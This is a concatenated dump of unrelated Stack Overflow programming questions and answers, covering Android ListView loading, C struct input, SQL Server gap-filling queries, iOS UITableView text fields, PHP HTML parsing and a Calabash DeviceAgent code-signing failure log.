4208775	0	 <p>Your substitution will look like this:</p> <pre><code>s#^.*\s(remote\.host\.tld)\s*$#$ip_to_update\t$1# </code></pre> <p>Replacement can be done in one line:</p> <pre><code>perl -i -wpe "BEGIN{$ip=`awk {'print \$5'} /web_root/ip_update/ip_update.txt`} s#^.*\s(remote\.host\.tld)\s*$#$ip\t$1#"' </code></pre>
24002066	0	Progress Bar during the loading of a ListView <p>So, I want to display a spinning loading indicator while my ListView is being populated. I successfully have implemented the progress bar, BUT for some reason it disappears BEFORE all of the listings are displayed. What I want is the progressbar to be present during the TOTAL load time of the listings. Basically, what it seems like, each listing is being displayed one at a time, not all at once when they are all loaded. What I'm doing is 1. Creating a new custom adapter class 2. Populating the ListView in an AsyncTask using this adapter class 3. Setting the ListView to this adapter</p> <p>This works properly, the progress bar just disappears before all of the listings are displayed. Does anyone have any ideas?</p> <p>Activity class:</p> <pre><code>public class MainActivity extends ActionBarActivity { ArrayList&lt;Location&gt; arrayOfLocations; LocationAdapter adapter; // public static Bitmap bitmap; Button refresh; ProgressBar progress; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); progress=(ProgressBar)findViewById(R.id.progressbar_loading); // Construct the data source arrayOfLocations = new ArrayList&lt;Location&gt;(); // Create the adapter to convert the array to views adapter = new LocationAdapter(this, arrayOfLocations); FillLocations myFill = new FillLocations(); myFill.execute(); refresh = (Button) findViewById(R.id.refresh); refresh.setOnClickListener(new OnClickListener() { public void onClick(View v) { finish(); startActivity(getIntent()); } }); } private class FillLocations extends AsyncTask&lt;Integer, Void, String&gt; { String msg = "Done"; protected void onPreExecute() { progress.setVisibility(View.VISIBLE); } // Decode image in background. @Override protected String doInBackground(Integer... params) { String result = ""; InputStream isr = null; try { HttpClient httpclient = new DefaultHttpClient(); HttpPost httppost = new HttpPost("http://afs.spotcontent.com/"); // YOUR // PHP // SCRIPT // ADDRESS HttpResponse response = httpclient.execute(httppost); HttpEntity entity = response.getEntity(); isr = entity.getContent(); // resultView.setText("connected"); } catch (Exception e) { Log.e("log_tag", "Error in http connection " + e.toString()); } // convert response to string try { BufferedReader reader = new BufferedReader( new InputStreamReader(isr, "iso-8859-1"), 8); StringBuilder sb = new StringBuilder(); String line = null; while ((line = reader.readLine()) != null) { sb.append(line + "\n"); } isr.close(); result = sb.toString(); } catch (Exception e) { Log.e("log_tag", "Error converting result " + e.toString()); } // parse json data try { JSONArray jArray = new JSONArray(result); for (int i = 0; i &lt; jArray.length(); i++) { final JSONObject json = jArray.getJSONObject(i); try { BitmapWorkerTask myTask = new BitmapWorkerTask( json.getInt("ID"), json); myTask.execute(); } catch (JSONException e) { // TODO Auto-generated catch block e.printStackTrace(); } } } catch (Exception e) { // TODO: handle exception Log.e("log_tag", "Error Parsing Data " + e.toString()); } return msg; } protected void onPostExecute(String msg) { // Attach the adapter to a ListView ListView listView = (ListView) findViewById(R.id.listView1); // View header = (View) getLayoutInflater().inflate( // R.layout.listview_header, null); // listView.addHeaderView(header); listView.setAdapter(adapter); progress.setVisibility(View.GONE); } } } </code></pre> <p>Adapter class:</p> <pre><code>public class LocationAdapter extends ArrayAdapter&lt;Location&gt; { public LocationAdapter(Context context, ArrayList&lt;Location&gt; locations) { super(context, R.layout.item_location, locations); } @Override public View getView(int position, View convertView, ViewGroup parent) { // Get the data item for this position Location location = getItem(position); // Check if an existing view is being reused, otherwise inflate the view if (convertView == null) { convertView = LayoutInflater.from(getContext()).inflate(R.layout.item_location, parent, false); } // Lookup view for data population TextView tvName = (TextView) convertView.findViewById(R.id.tvName); TextView tvDetails = (TextView) convertView.findViewById(R.id.tvDetails); TextView tvDistance = (TextView) convertView.findViewById(R.id.tvDistance); TextView tvHours = (TextView) convertView.findViewById(R.id.tvHours); ImageView ivIcon = (ImageView) convertView.findViewById(R.id.imgIcon); // Populate the data into the template view using the data object tvName.setText(location.name); tvDetails.setText(location.details); tvDistance.setText(location.distance); tvHours.setText(location.hours); ivIcon.setImageBitmap(location.icon); // Return the completed view to render on screen return convertView; } } </code></pre>
7592838	0	Correct way to get beans from applicationContext Spring <p>I have a factory that creates instances:</p> <pre><code>public class myFactory { public static getInstace() { switch(someInt) { case 1: return new MySpringBean(); case 2: return new MyOtherSpringBean(); } } } </code></pre> <p>I need to return a new instance of the beans that are "managed" by Spring bc they have Transactional business logic methods. I have read in many posts here that I should not use getBean method to get a singleton or a new instance from the applicationContext. But I cannot find the proper way to do it for my case. I have used @Resource and it seems to work but it doesn't support static fields. Thanx </p>
34931060	0	Can't read array of structure in C <p>I am trying to read members of an object like in the code below. The issue is that the code can't read the second member (car[i].model) in the array and the third one (car[i].price), only the first one (car[i].manufacturer).</p> <pre><code>#include &lt;stdio.h&gt; #include &lt;conio.h&gt; struct machine { int price; char manufacturer[30]; char model[30]; }; int main() { int i = 0, n; printf("Introduce number of cars: "); scanf_s("%d", &amp;n); struct machine car[100]; for (i = 0; i &lt; n; i++) { printf("Data of the car nr. %d:\n", i+1); printf("Manufacturer: "); scanf_s("%s", car[i].manufacturer); printf("Model: "); scanf_s("%s", car[i].model); printf("\n"); printf("Price: "); scanf_s("%d", &amp;car[i].price); printf("\n"); } for (i = 0; i &lt; n; i++) { printf("Data of the car nr. %d:\n", i + 1); printf("Manufacturer: %s\n", car[i].manufacturer); printf("Manufacturer: %s\n", car[i].manufacturer); printf("Model: %s\n", car[i].model); printf("Price %d\n", car[i].price); } _getch(); } </code></pre>
30629810	0	Plotting multiple columns with a for loop in gnuplot, key doesn't work <p>I have file with many columns that I'd like to plot as follows:</p> <pre><code>plot for [i=1:30] 'test' using 1:i w lp </code></pre> <p>This gives the plot I want, but when I do <code>set key</code>, then the key I see has all lines labeled as <code>1:i</code>:</p> <p><img src="https://i.stack.imgur.com/O0Znl.png" alt="enter image description here"></p> <p>How can I make this output more meaningful, by actually displayin the value of <code>i</code>?</p>
18869902	0	 <p>Basically:</p> <ul> <li><code>#info</code> is used to discover <a href="http://xmpp.org/extensions/xep-0030.html#info" rel="nofollow">information about a XMPP entity.</a></li> <li><code>#item</code> is used to discover <a href="http://xmpp.org/extensions/xep-0030.html#items" rel="nofollow">items associated with a XMPP entity.</a></li> </ul> <p><code>#info</code> query results will show you amongst others the supported features of a XMPP entity (e.g. <a href="http://xmpp.org/extensions/xep-0071.html#discovery-explicit" rel="nofollow">XHTML-IM support</a>).</p> <p><code>#item</code> query results will show the available items of a XMPP entity. For example the <a href="http://xmpp.org/extensions/xep-0045.html#disco-service" rel="nofollow">XEP-0045 MUC component</a> of a XMPP service. But any other available service/component could show up here.</p> <p>One could also say that <code>#info</code> is used to query the features of this particular entity, while <code>#items</code> is used to query for "sub-components" of that entity, which itself are usually be queried with <code>#info</code> for their features.</p>
31510255	0	 <p>The problem with the date format is because you are converting it to a string and then back to a DateTime value. Depending on the culture settings on the specific server this may or may not work. It may also misinterpret the data, e.g. transforming a date from 2013-10-12 to 2013-12-10.</p> <pre><code>DateTime datet = new DateTime(year,month,day); startDateParam.Value = datet; endDateParam.Value = datet; </code></pre> <p>"note that the server stored datetime with format '1900-01-01 00:00:00.000'"</p>
2868707	0	 <p>Check out <a href="http://weblogs.asp.net/scottgu/archive/2008/01/07/dynamic-linq-part-1-using-the-linq-dynamic-query-library.aspx" rel="nofollow noreferrer">Scott Gu's Blog</a>.</p> <p>It will explain exactly how to do it.</p>
3727398	0	sql server stock quote every second <p>I have a table with stock quotes</p> <p>Symbol<br/> Ask<br/> Bid<br/> QuoteDateTime</p> <p>Using SQL Server 2008, lets say for any given 60 second time period I want to select quotes on all symbols so that there is a record for every second in that time period. </p> <p>Problem is not every symbol has the same number of quotes - so there are some seconds that have no quote record for any given symbol. So I want to fill in the missing holes of data. So if ORCL has quotes at second 1, 2, 3, 5, 7, I want the result set that has 1,2,3,4,5,6,7...up to 60 sec (covering the whole minute). The values in row 4 come from row 3</p> <p>In this scenario I would want to select the previous quote and use that for that particular second. So there is continuous records for each symbol and the same number of records are selected for each symbol.</p> <p>I am not sure what this is called in sql server but any help building a query to do this would be great</p> <p>For output I am expecting that for any given 60 sec time period. For those symbols that have a record in the 60 seconds, there will be 60 records for each symbol, one for each second</p> <p>Symbol Ask Bid QuoteDateTime</p> <p>MSFT 26.00 27.00 2010-05-20 06:28:00<br/> MSFT 26.01 27.02 2010-05-20 06:28:01<br/> ...<br/> ORCL 26.00 27.00 2010-05-20 06:28:00<br/> ORCL 26.01 27.02 2010-05-20 06:28:01<br/></p> <p>etc</p>
29674087	0	 <p>One of the ways to do this could be create "anchor" table from all possible data from all three tables and then use <code>left outer join</code>:</p> <pre><code>select A.column2, B.column2, C.column2 from ( select distinct month from table1 union select distinct month from table2 union select distinct month from table3 ) as X left outer join table1 as A on A.month = X.month left outer join table2 as B on B.month = X.month left outer join table3 as C on C.month = X.month </code></pre>
28957173	0	 <p>No need to add custom packet listener to connection object.</p> <p>get all rosters from server</p> <pre><code>Roster roster = mConnection.getRoster(); // collection of RosterEntry from roster object Collection&lt;RosterEntry&gt; entries= roster.getEntries(); for(RosterEntry entry : entries) { Log.i("RosterName", "Name : "+ entry.getName()); Log.i("RosterName", "Name : "+ entry.getUser()); } </code></pre>
29044041	0	Is there a way to use UITextField's on a dynamic UITableView, AND 'tab' between them? <p>This may be a tad lengthy, but bear with me. It's mostly simple code and log output. Normally, if I wanted to have a UITextField as a part of a UITableViewCell, I would likely use either a) static rows or b) I would create the cell in the storyboard, outlet the cell and outlet the field to my ViewController, and then drag the cell outside of the "Table View", but keeping it in the scene. </p> <p>However, I need to create a View where I accept input from 28 various things. I don't want to outlet up 28 different UITextField's. </p> <p>I want to do this dynamically, to make it easier. So I've created a custom UITableViewCell with a Label and UITextField.</p> <p>My ViewController has two arrays. </p> <pre><code>@property (nonatomic, strong) NSArray *items; @property (nonatomic, strong) NSArray *itemValues; </code></pre> <p>My <code>cellForRowAtIndexPath</code> looks something like this...</p> <pre><code>- (UITableViewCell *)tableView:(UITableView *)tableView cellForRowAtIndexPath:(NSIndexPath *)indexPath { NSString *cellIdentifier = @"ItemCell"; MyItemTableViewCell *cell = [tableView dequeueReusableCellWithIdentifier:cellIdentifier forIndexPath:indexPath]; if (!cell) { cell = [[MyItemTableViewCell alloc] initWithStyle:UITableViewCellStyleDefault reuseIdentifier:cellIdentifier]; cell.categoryValue.tag = indexPath.row; cell.categoryValue.delegate = self; } cell.item.text = [self.items objectAtIndex:indexPath.row]; cell.itemValue.text = [self.itemValues objectAtIndex:indexPath.row]; return cell; } - (BOOL)textFieldShouldReturn:(UITextField *)textField { NSInteger tag = [textField tag]; NSLog(@"TFSR tag: %zd/%zd", tag, self.categories.count-1); if (tag &lt; (self.categories.count - 1)) { NSIndexPath *nextIndex = [NSIndexPath indexPathForRow:tag+1 inSection:0]; NSLog(@"TFSR nextRow: %zd/%zd\n", nextIndex.row); FFFCategoryTableViewCell *cell = (MyItemTableViewCell *)[self.tableView cellForRowAtIndexPath:nextIndex]; [self.tableView scrollToRowAtIndexPath:nextIndex atScrollPosition:UITableViewScrollPositionMiddle animated:YES]; [cell.categoryValue becomeFirstResponder]; } else { NSLog(@"DONE!"); } return YES; } </code></pre> <p>This is proving to be problematic. The goal is, the user should be able to select the UITextField on the first row, enter a value, and when they hit the 'Next' key on the keyboard, they will be sent to the UITextField on the second row. Then 3rd, 4th,... 27th, 28th.</p> <p>However, let's say I first highlight the UITextField on the Cell with IndexPath.row = 11. If I tap 'Next', this is what my output looks like...</p> <pre><code>======== OUTPUT ======== TFSR tag: 11/27 TFSR nextRow: 12/27 TFSR tag: 12/27 TFSR nextRow: 13/27 TFSR tag: 13/27 TFSR nextRow: 14/27 TFSR tag: 0/27 TFSR nextRow: 1/27 </code></pre> <p>Now I fully understand why this is happening. With UITableView trying to save memory in loading various cells, and with the use of dequeueReusableCellWithIdentifier... I only have 14 cells (0-13). Then it loops back to the beginning.</p> <p>My problem is... I don't know a solution to this problem. I want the user to be able to his Next until the 28th UITextField row. </p> <p>Any ideas/solutions on how I could achieve this?</p>
13799027	0	 <p>Are you sure the font is loaded correctly?</p> <p>You can try:</p> <pre><code>for (NSString *familyName in [UIFont familyNames]) { NSLog(@"%@", familyName); for (NSString *fontName in [UIFont fontNamesForFamilyName:familyName]) { NSLog(@"\t%@",fontName); } } </code></pre> <p>This will show you all the fonts that are loaded. Make sure the same name "Cabin-Regular" is showing up exactly the same. A lot of times the font itself isn't loaded and then the font-size won't be used at all.</p>
2733441	0	 <p>Use the <a href="http://msdn.microsoft.com/en-us/library/system.linq.enumerable.selectmany(v=VS.90).aspx" rel="nofollow noreferrer"><code>SelectMany</code></a> extension method:</p> <pre><code>List&lt;List&lt;int&gt;&gt; lists = new List&lt;List&lt;int&gt;&gt;() { new List&lt;int&gt;(){1, 2}, new List&lt;int&gt;(){3, 4} }; var result = lists.SelectMany(x =&gt; x); // results in 1, 2, 3, 4 </code></pre> <p>Or, for your specific case:</p> <pre><code>var performancePanels = new { Panels = (from panel in doc.Elements("PerformancePanel") select new { LegalTextIds = (from legalText in panel.Elements("LegalText").Elements("Line") select new List&lt;int&gt;() { (int)legalText.Attribute("id") }).SelectMany(x =&gt; x) }).ToList() }; </code></pre>
18988095	0	 <p>Consider using <code>NSUserDefaults</code> for storing single values</p> <p><em>For Storing:</em></p> <pre><code>[[NSUserDefaults standardUserDefaults] setInteger:100 forKey:@"storageKey"]; </code></pre> <p><em>For Retrieving:</em></p> <pre><code>NSInteger myValue = [[NSUserDefaults standardUserDefaults] integerForKey:storageKey]; </code></pre>
2340952	0	<tbody> glitch in PHP Simple HTML DOM parser <p>I'm using PHP Simple HTML DOM Parser to scrape some data of a webshop (also running XAMPP 1.7.2 with PHP5.3.0), and I'm running into problems with <code>&lt;tbody&gt;</code> tag. The structure of the table is, essentialy (details aren't really that important):</p> <pre><code>&lt;table&gt; &lt;thead&gt; &lt;!--text here--&gt; &lt;/thead&gt; &lt;tbody&gt; &lt;!--text here--&gt; &lt;/tbody&gt; &lt;/table&gt; </code></pre> <p>Now, I'm trying to get to the <code>&lt;tbody&gt;</code> section by using code:</p> <pre><code>$element = $html-&gt;find('tbody',0)-&gt;innertext; </code></pre> <p>It doesn't throw any errors, it just prints nothing out when I try to echo it. I've tested the code on other elements, <code>&lt;thead&gt;</code>, <code>&lt;table&gt;</code>, even something like <code>&lt;span class="price"&gt;</code> and they all work fine (ofcourse, removing ",0" fails the code). They all give their correct sections. Outertext ditto. But it all fails on <code>&lt;tbody&gt;</code>.</p> <p>Now, I've skimmed through the Parser, but I'm not sure I can figure it out. I've noticed that <code>&lt;thead&gt;</code> isn't even mentioned, but it works fine. <em>shrug</em></p> <p>I guess I could try and do child navigation, but that seems to glitch as well. I've just tried running:</p> <pre><code>$el = $html-&gt;find('table',0); $el2 = $el-&gt;children(2); echo $el2-&gt;outertext; </code></pre> <p>and no dice. Tried replacing <code>children</code> with <code>first_child</code> and 2 with 1, and still no dice. Funny, though, if I try <code>-&gt;find</code> instead of <code>children</code>, it works perfectly.</p> <p>I'm pretty confident I could find a work-around the whole thing, but this behaviour seems odd enough to post here. My curious mind is happy for all the help it can get.</p>
40341145	0	Can run_loop use a different identifier for resigning DeviceAgent-Runner.app <p>Setup:</p> <ul> <li>Xcode 8</li> <li>OSX El Capitan (10.11.6)</li> <li>Physical iPhone6 (iOS 9.1)</li> <li>calabash-cucumber 0.20.3</li> <li>Run_loop 2.2.2</li> </ul> <p>First I tried to start the calabash console on the physical phone, but because it didn't have the <strong>DeviceAgent-Runner.app</strong> app it tried to install it.</p> <pre><code>calabash-ios 0.20.3&gt; start_test_server_in_background EXEC: xcrun simctl list devices --json EXEC: xcrun instruments -s devices DEBUG: HTTP: get http://10.57.39.140:27753/1.0/health {:retries=&gt;1, :timeout=&gt;0.5} DEBUG: Waiting for DeviceAgent to launch... EXEC: cd /Users/stefan/.rbenv/versions/2.2.3/lib/ruby/gems/2.2.0/gems/run_loop-2.2.2/lib/run_loop/device_agent EXEC: ditto -xk Frameworks.zip . EXEC: ditto -xk DeviceAgent-Runner.app.zip . EXEC: /Users/stefan/.rbenv/versions/2.2.3/lib/ruby/gems/2.2.0/gems/run_loop-2.2.2/lib/run_loop/device_agent/bin/iOSDeviceManager install --device-id e544a153544294d3a9bcce89cecb17161d528baa --app-bundle /Users/stefan/.rbenv/versions/2.2.3/lib/ruby/gems/2.2.0/gems/run_loop-2.2.2/lib/run_loop/device_agent/ipa/DeviceAgent-Runner.app --codesign-identity iPhone Developer: name@gmail.com (P536D9MXXX) with a timeout of 60 from /Users/stefan/.rbenv/versions/2.2.3/lib/ruby/gems/2.2.0/gems/run_loop-2.2.2/lib/run_loop/shell.rb:104:in `run_shell_command' from /Users/stefan/.rbenv/versions/2.2.3/lib/ruby/gems/2.2.0/gems/run_loop-2.2.2/lib/run_loop/device_agent/ios_device_manager.rb:124:in `launch' from /Users/stefan/.rbenv/versions/2.2.3/lib/ruby/gems/2.2.0/gems/run_loop-2.2.2/lib/run_loop/device_agent/client.rb:1233:in `launch_cbx_runner' from /Users/stefan/.rbenv/versions/2.2.3/lib/ruby/gems/2.2.0/gems/run_loop-2.2.2/lib/run_loop/device_agent/client.rb:264:in `launch' from /Users/stefan/.rbenv/versions/2.2.3/lib/ruby/gems/2.2.0/gems/run_loop-2.2.2/lib/run_loop/device_agent/client.rb:140:in `run' from /Users/stefan/.rbenv/versions/2.2.3/lib/ruby/gems/2.2.0/gems/run_loop-2.2.2/lib/run_loop.rb:113:in `run' from /Users/stefan/.rbenv/versions/2.2.3/lib/ruby/gems/2.2.0/gems/calabash-cucumber-0.20.3/lib/calabash-cucumber/launcher.rb:408:in `block in new_run_loop' from /Users/stefan/.rbenv/versions/2.2.3/lib/ruby/gems/2.2.0/gems/calabash-cucumber-0.20.3/lib/calabash-cucumber/launcher.rb:406:in `times' from /Users/stefan/.rbenv/versions/2.2.3/lib/ruby/gems/2.2.0/gems/calabash-cucumber-0.20.3/lib/calabash-cucumber/launcher.rb:406:in `new_run_loop' from /Users/stefan/.rbenv/versions/2.2.3/lib/ruby/gems/2.2.0/gems/calabash-cucumber-0.20.3/lib/calabash-cucumber/launcher.rb:365:in `relaunch' from /Users/stefan/.rbenv/versions/2.2.3/lib/ruby/gems/2.2.0/gems/calabash-cucumber-0.20.3/lib/calabash-cucumber/core.rb:1567:in `start_test_server_in_background' from (irb):1 from /Users/stefan/.rbenv/versions/2.2.3/bin/irb:11:in `&lt;main&gt;' </code></pre> <p>As you can see it fails to install the <strong>DeviceAgent-Runner.app</strong> app with a timeout.</p> <p>Then I tried to install the DeviceAgent-Runner.app manualy</p> <pre><code>MACC02MK1XBFD59:CalabashVerification stefan$ /Users/stefan/.rbenv/versions/2.2.3/lib/ruby/gems/2.2.0/gems/run_loop-2.2.2/lib/run_loop/device_agent/bin/iOSDeviceManager install --device-id e544a153544294d3a9bcce89cecb17161d528baa --app-bundle /Users/stefan/.rbenv/versions/2.2.3/lib/ruby/gems/2.2.0/gems/run_loop-2.2.2/lib/run_loop/device_agent/ipa/DeviceAgent-Runner.app --codesign-identity "iPhone Developer: name@gmail.com (P536D9MXXX)" objc[47805]: Class DDLog is implemented in both /Users/stefan/.rbenv/versions/2.2.3/lib/ruby/gems/2.2.0/gems/run_loop-2.2.2/lib/run_loop/device_agent/Frameworks/FBControlCore.framework/Versions/A/Frameworks/CocoaLumberjack.framework/Versions/A/CocoaLumberjack and /Users/stefan/.rbenv/versions/2.2.3/lib/ruby/gems/2.2.0/gems/run_loop-2.2.2/lib/run_loop/device_agent/bin/iOSDeviceManager. One of the two will be used. Which one is undefined. objc[47805]: Class DDLoggerNode is implemented in both /Users/stefan/.rbenv/versions/2.2.3/lib/ruby/gems/2.2.0/gems/run_loop-2.2.2/lib/run_loop/device_agent/Frameworks/FBControlCore.framework/Versions/A/Frameworks/CocoaLumberjack.framework/Versions/A/CocoaLumberjack and /Users/stefan/.rbenv/versions/2.2.3/lib/ruby/gems/2.2.0/gems/run_loop-2.2.2/lib/run_loop/device_agent/bin/iOSDeviceManager. One of the two will be used. Which one is undefined. objc[47805]: Class DDLogMessage is implemented in both /Users/stefan/.rbenv/versions/2.2.3/lib/ruby/gems/2.2.0/gems/run_loop-2.2.2/lib/run_loop/device_agent/Frameworks/FBControlCore.framework/Versions/A/Frameworks/CocoaLumberjack.framework/Versions/A/CocoaLumberjack and /Users/stefan/.rbenv/versions/2.2.3/lib/ruby/gems/2.2.0/gems/run_loop-2.2.2/lib/run_loop/device_agent/bin/iOSDeviceManager. One of the two will be used. Which one is undefined. objc[47805]: Class DDAbstractLogger is implemented in both /Users/stefan/.rbenv/versions/2.2.3/lib/ruby/gems/2.2.0/gems/run_loop-2.2.2/lib/run_loop/device_agent/Frameworks/FBControlCore.framework/Versions/A/Frameworks/CocoaLumberjack.framework/Versions/A/CocoaLumberjack and /Users/stefan/.rbenv/versions/2.2.3/lib/ruby/gems/2.2.0/gems/run_loop-2.2.2/lib/run_loop/device_agent/bin/iOSDeviceManager. One of the two will be used. Which one is undefined. objc[47805]: Class DDAbstractDatabaseLogger is implemented in both /Users/stefan/.rbenv/versions/2.2.3/lib/ruby/gems/2.2.0/gems/run_loop-2.2.2/lib/run_loop/device_agent/Frameworks/FBControlCore.framework/Versions/A/Frameworks/CocoaLumberjack.framework/Versions/A/CocoaLumberjack and /Users/stefan/.rbenv/versions/2.2.3/lib/ruby/gems/2.2.0/gems/run_loop-2.2.2/lib/run_loop/device_agent/bin/iOSDeviceManager. One of the two will be used. Which one is undefined. objc[47805]: Class DDTTYLogger is implemented in both /Users/stefan/.rbenv/versions/2.2.3/lib/ruby/gems/2.2.0/gems/run_loop-2.2.2/lib/run_loop/device_agent/Frameworks/FBControlCore.framework/Versions/A/Frameworks/CocoaLumberjack.framework/Versions/A/CocoaLumberjack and /Users/stefan/.rbenv/versions/2.2.3/lib/ruby/gems/2.2.0/gems/run_loop-2.2.2/lib/run_loop/device_agent/bin/iOSDeviceManager. One of the two will be used. Which one is undefined. objc[47805]: Class DDTTYLoggerColorProfile is implemented in both /Users/stefan/.rbenv/versions/2.2.3/lib/ruby/gems/2.2.0/gems/run_loop-2.2.2/lib/run_loop/device_agent/Frameworks/FBControlCore.framework/Versions/A/Frameworks/CocoaLumberjack.framework/Versions/A/CocoaLumberjack and /Users/stefan/.rbenv/versions/2.2.3/lib/ruby/gems/2.2.0/gems/run_loop-2.2.2/lib/run_loop/device_agent/bin/iOSDeviceManager. One of the two will be used. Which one is undefined. objc[47805]: Class DDLogFileManagerDefault is implemented in both /Users/stefan/.rbenv/versions/2.2.3/lib/ruby/gems/2.2.0/gems/run_loop-2.2.2/lib/run_loop/device_agent/Frameworks/FBControlCore.framework/Versions/A/Frameworks/CocoaLumberjack.framework/Versions/A/CocoaLumberjack and /Users/stefan/.rbenv/versions/2.2.3/lib/ruby/gems/2.2.0/gems/run_loop-2.2.2/lib/run_loop/device_agent/bin/iOSDeviceManager. One of the two will be used. Which one is undefined. objc[47805]: Class DDLogFileFormatterDefault is implemented in both /Users/stefan/.rbenv/versions/2.2.3/lib/ruby/gems/2.2.0/gems/run_loop-2.2.2/lib/run_loop/device_agent/Frameworks/FBControlCore.framework/Versions/A/Frameworks/CocoaLumberjack.framework/Versions/A/CocoaLumberjack and /Users/stefan/.rbenv/versions/2.2.3/lib/ruby/gems/2.2.0/gems/run_loop-2.2.2/lib/run_loop/device_agent/bin/iOSDeviceManager. One of the two will be used. Which one is undefined. objc[47805]: Class DDFileLogger is implemented in both /Users/stefan/.rbenv/versions/2.2.3/lib/ruby/gems/2.2.0/gems/run_loop-2.2.2/lib/run_loop/device_agent/Frameworks/FBControlCore.framework/Versions/A/Frameworks/CocoaLumberjack.framework/Versions/A/CocoaLumberjack and /Users/stefan/.rbenv/versions/2.2.3/lib/ruby/gems/2.2.0/gems/run_loop-2.2.2/lib/run_loop/device_agent/bin/iOSDeviceManager. One of the two will be used. Which one is undefined. objc[47805]: Class DDLogFileInfo is implemented in both /Users/stefan/.rbenv/versions/2.2.3/lib/ruby/gems/2.2.0/gems/run_loop-2.2.2/lib/run_loop/device_agent/Frameworks/FBControlCore.framework/Versions/A/Frameworks/CocoaLumberjack.framework/Versions/A/CocoaLumberjack and /Users/stefan/.rbenv/versions/2.2.3/lib/ruby/gems/2.2.0/gems/run_loop-2.2.2/lib/run_loop/device_agent/bin/iOSDeviceManager. One of the two will be used. Which one is undefined. objc[47805]: Class DDASLLogger is implemented in both /Users/stefan/.rbenv/versions/2.2.3/lib/ruby/gems/2.2.0/gems/run_loop-2.2.2/lib/run_loop/device_agent/Frameworks/FBControlCore.framework/Versions/A/Frameworks/CocoaLumberjack.framework/Versions/A/CocoaLumberjack and /Users/stefan/.rbenv/versions/2.2.3/lib/ruby/gems/2.2.0/gems/run_loop-2.2.2/lib/run_loop/device_agent/bin/iOSDeviceManager. One of the two will be used. Which one is undefined. 2016-10-31 12:09:12.495 iOSDeviceManager[47805:7626359] [MT] DVTPlugInManager: Required plug-in compatibility UUID DA4FDFD8-C509-4D8B-8B55-84A7B66AE701 for KSImageNamed.ideplugin (com.ksuther.KSImageNamed) not present 2016-10-31 12:09:12.638 iOSDeviceManager[47805:7626359] [MT] PluginLoading: Required plug-in compatibility UUID DA4FDFD8-C509-4D8B-8B55-84A7B66AE701 for plug-in at path '~/Library/Application Support/Developer/Shared/Xcode/Plug-ins/xcfui.xcplugin' not present in DVTPlugInCompatibilityUUIDs 2016-10-31 12:09:12.639 iOSDeviceManager[47805:7626359] [MT] PluginLoading: Required plug-in compatibility UUID DA4FDFD8-C509-4D8B-8B55-84A7B66AE701 for plug-in at path '~/Library/Application Support/Developer/Shared/Xcode/Plug-ins/RTImageAssets.xcplugin' not present in DVTPlugInCompatibilityUUIDs 2016-10-31 12:09:12.639 iOSDeviceManager[47805:7626359] [MT] PluginLoading: Required plug-in compatibility UUID DA4FDFD8-C509-4D8B-8B55-84A7B66AE701 for plug-in at path '~/Library/Application Support/Developer/Shared/Xcode/Plug-ins/PrettyPrintJSON.xcplugin' not present in DVTPlugInCompatibilityUUIDs 2016-10-31 12:09:12.640 iOSDeviceManager[47805:7626359] [MT] PluginLoading: Required plug-in compatibility UUID DA4FDFD8-C509-4D8B-8B55-84A7B66AE701 for plug-in at path '~/Library/Application Support/Developer/Shared/Xcode/Plug-ins/OMColorSense.xcplugin' not present in DVTPlugInCompatibilityUUIDs 2016-10-31 12:09:12.640 iOSDeviceManager[47805:7626359] [MT] PluginLoading: Required plug-in compatibility UUID DA4FDFD8-C509-4D8B-8B55-84A7B66AE701 for plug-in at path '~/Library/Application Support/Developer/Shared/Xcode/Plug-ins/KSImageNamed.xcplugin' not present in DVTPlugInCompatibilityUUIDs 2016-10-31 12:09:12.641 iOSDeviceManager[47805:7626359] [MT] PluginLoading: Required plug-in compatibility UUID DA4FDFD8-C509-4D8B-8B55-84A7B66AE701 for plug-in at path '~/Library/Application Support/Developer/Shared/Xcode/Plug-ins/DebugSearch.xcplugin' not present in DVTPlugInCompatibilityUUIDs 2016-10-31 12:09:12.641 iOSDeviceManager[47805:7626359] [MT] PluginLoading: Required plug-in compatibility UUID DA4FDFD8-C509-4D8B-8B55-84A7B66AE701 for plug-in at path '~/Library/Application Support/Developer/Shared/Xcode/Plug-ins/CocoaPods.xcplugin' not present in DVTPlugInCompatibilityUUIDs 2016-10-31 12:09:12.642 iOSDeviceManager[47805:7626359] [MT] PluginLoading: Required plug-in compatibility UUID DA4FDFD8-C509-4D8B-8B55-84A7B66AE701 for plug-in at path '~/Library/Application Support/Developer/Shared/Xcode/Plug-ins/Alcatraz.xcplugin' not present in DVTPlugInCompatibilityUUIDs 2016-10-31 12:09:20.201 iOSDeviceManager[47805:7626359] EXEC: /usr/bin/xcrun security find-identity -v -p codesigning 2016-10-31 12:09:50.203 iOSDeviceManager[47805:7626359] Could not find valid codesign identities with: /usr/bin/xcrun security find-identity -v -p codesigning 2016-10-31 12:09:50.203 iOSDeviceManager[47805:7626359] Command timed out after 30.0009800195694 seconds 2016-10-31 12:09:50.203 iOSDeviceManager[47805:7626359] ERROR: The signing identity you provided is not valid: iPhone Developer: name@gmail.com (P536D9MXXX) 2016-10-31 12:09:50.203 iOSDeviceManager[47805:7626359] ERROR: 2016-10-31 12:09:50.203 iOSDeviceManager[47805:7626359] ERROR: These are the valid signing identities that are available: 2016-10-31 12:09:50.203 iOSDeviceManager[47805:7626359] EXEC: /usr/bin/xcrun security find-identity -v -p codesigning 2016-10-31 12:10:20.204 iOSDeviceManager[47805:7626359] Could not find valid codesign identities with: /usr/bin/xcrun security find-identity -v -p codesigning 2016-10-31 12:10:20.204 iOSDeviceManager[47805:7626359] Command timed out after 30.00082302093506 seconds 2016-10-31 12:10:20.206 iOSDeviceManager[47805:7626359] Error creating product bundle for /var/folders/yy/vvrqrp2n6qv9b_tbssf_74n80000gn/T/59E25CB1-38F5-4269-B950-0040BACB2E00-47805-000048155108503C/DeviceAgent-Runner.app: Error Domain=com.facebook.XCTestBootstrap Code=0 "Failed to codesign /var/folders/yy/vvrqrp2n6qv9b_tbssf_74n80000gn/T/59E25CB1-38F5-4269-B950-0040BACB2E00-47805-000048155108503C/DeviceAgent-Runner.app" UserInfo={NSLocalizedDescription=Failed to codesign /var/folders/yy/vvrqrp2n6qv9b_tbssf_74n80000gn/T/59E25CB1-38F5-4269-B950-0040BACB2E00-47805-000048155108503C/DeviceAgent-Runner.app, NSUnderlyingError=0x7fbfef6127f0 {Error Domain=sh.calaba.iOSDeviceManger Code=5 "Could not resign with the given arguments" UserInfo={NSLocalizedDescription=Could not resign with the given arguments, NSLocalizedFailureReason=The device UDID and code signing identity were invalid forsome reason. Please check the logs.}}} install 